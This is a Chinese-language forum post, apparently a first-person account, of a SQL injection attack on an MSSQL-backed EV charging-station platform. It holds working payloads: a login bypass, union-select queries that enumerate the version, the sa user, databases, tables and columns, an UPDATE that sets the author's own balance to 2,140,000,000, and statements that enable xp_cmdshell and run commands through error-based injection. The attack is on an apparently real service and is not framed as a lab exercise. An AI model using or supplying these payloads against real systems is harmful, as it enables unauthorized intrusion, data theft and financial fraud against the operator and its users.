MSSQL渗透测试过程(上)

开始准备工作

用什么nmap,awvs,vooli,ibm一堆工具搞了一遍发现没啥有用的信息

然后直接打开网站只有一个后台,这样只能看下能不能后台注入

如上图显示是有注入点的试下'or '1'='1'--直接进去了

结果发现后台啥功能都没有就几张图

然后转去搞APP去了,发现APP都是些泄露账户密码什么的没啥好玩的

振奋人心的发现

在Fiddler中抓到了一些奇怪的JS文件打开一看好多网址,都是我用IBM没扫描出来的东西,在一堆网址中找到了一个网页可以使用

用老方法测试发现存在注入点如图

我们用order by 猜字段得出有12个字段

接着构造语句查询数据库版本数据库权限等信息

'union select null,null,null,null,@@version,null,null,null,null,null,null,null -- 查询数据库版本

'union select null,null,null,null,system_user,null,null,null,null,null,null,null -- 用户权限

查询的后的一些基础信息

system_user sa

@@version Microsoft SQL Server 2012 (SP4) (KB4018073) - 11.0.7001.0 (X64) Aug 15 2017 10:23:29 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.3 (Build 9600: )

@@servername WIN-SF2MD4VM4JT

host_name() WIN-RG8BCEM932D

查询当前所有的数据库

111'union select null,null,null,null,name,null,null,null,null,null,null,null from master..sysdatabases--

查询当前数据库中的全部表(部分表截图)

'union select null,null,null,null,name,null,null,null,null,null,null,null from sysobjects where xtype='U' and category=0 --

查询表中是否有数据(查询行)

'union select null,null,null,null,count(1),null,null,null,null,null,null,null from Server_IN_UserRecharge--

表+表中的行

c13b

Server_AccountTradeRecord 39309

Server_AlipayData 17446

Server_BatteryType

Server_DT_BatteryDiagnosticCATLData

Server_DT_CarTypeInformation 67

Server_DT_BatteryDiagnosticData

Server_DT_ChargingPileStatusData 1804426

Server_DT_CostAccount 1

Server_DT_Dictionary 22

Server_DT_DictionaryData 104

Server_DT_FeedbackData 28

Server_DT_GroupCustomersData

Server_DT_IncomeAccount 1

Server_DT_InvoiceInformation

Server_DT_ServerErrorLogData 5829

Server_DT_SmsCodeData 302

Server_DT_UserCarInformation 140

Server_IN_ChargingPileInformation 7

Server_IN_ChargingStationInformation 2

Server_IN_CouponInformation 2

Server_IN_DBServerConnection 3

Server_IN_DeviceBindChargingStation

Server_IN_DeviceInformation 11

Server_IN_ElectricityStatistics 4

Server_IN_IC 1

Server_IN_IntegralRule

Server_IN_Menu_RoleInformation 109

Server_IN_ProvincesAndCity 47187

Server_IN_PushMsgData 226

Server_IN_ReceiveAddressInformation 41

Server_IN_RoleInformation 3

Server_IN_Shop

Server_IN_SignIn

Server_IN_StationValuationProgram 10

Server_IN_SystemConfigurationInfo

Server_IN_Town 41835

Server_IN_User_RoleInformation 6

Server_IN_UserInformation 81

Server_IN_UserPushConfig 36

Server_IN_UserRecharge

Server_IN_ValuationProgram 24

Server_NE_MenuInformation 64

Server_Reservation 58

Server_ReserveRecord

Server_UserAccount 80

Server_DT_ChargeWarnData 1

Server_DT_ChargeData 12248

后面一个表一个表猜去哪里有金额数据,最后在Server_UserAccount 这个表中找到了金额

查询表中的全部列名

'union select null,null,null,null,name,null,null,null,null,null,null,null FROM SysColumns Where id=Object_Id('Server_UserAccount')--

查询表中列的数据

11111'union select null,null,Amount,User_id,2,3,null,4,null,null,null,null FROM Server_UserAccount--

修改金额

找到自己的用户ID这个我是在APP的返回包中抓到的

Update 表名 set 字段=值 where 条件

Update Server_UserAccount set Amount=2140000000 where User_id=5317--

尝试getshell

改网站站库分离+没有上传点+不知道是装了360还是配置错误尽然用xp_cmdshell错误

原理我是个菜鸡,各位大佬轻喷,顺便提提有什么思路让我学习学习

最后记个小TOP:

'union select null,null,null,null,x,null,null,null,null,null,null,null from xx-- 查询创建好表的数据

'create table xx(x nvarchar(max))-- 在数据库中创建XX的表列为X

用着4局话开启XP_CMDSHELL

sp_configure 'show advanced options',1

reconfigure

sp_configure 'xp_cmdshell',1

reconfigure

接着用报错注入法

'begin try exec master..xp_cmdshell'whoami' end try begin catch insert into xx select ERROR_MESSAGE() end catch-- 在数据库中插入exec master..xp_cmdshell'whoami'然后查询该表得到回显

参考博客:http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet

1 Like

漏了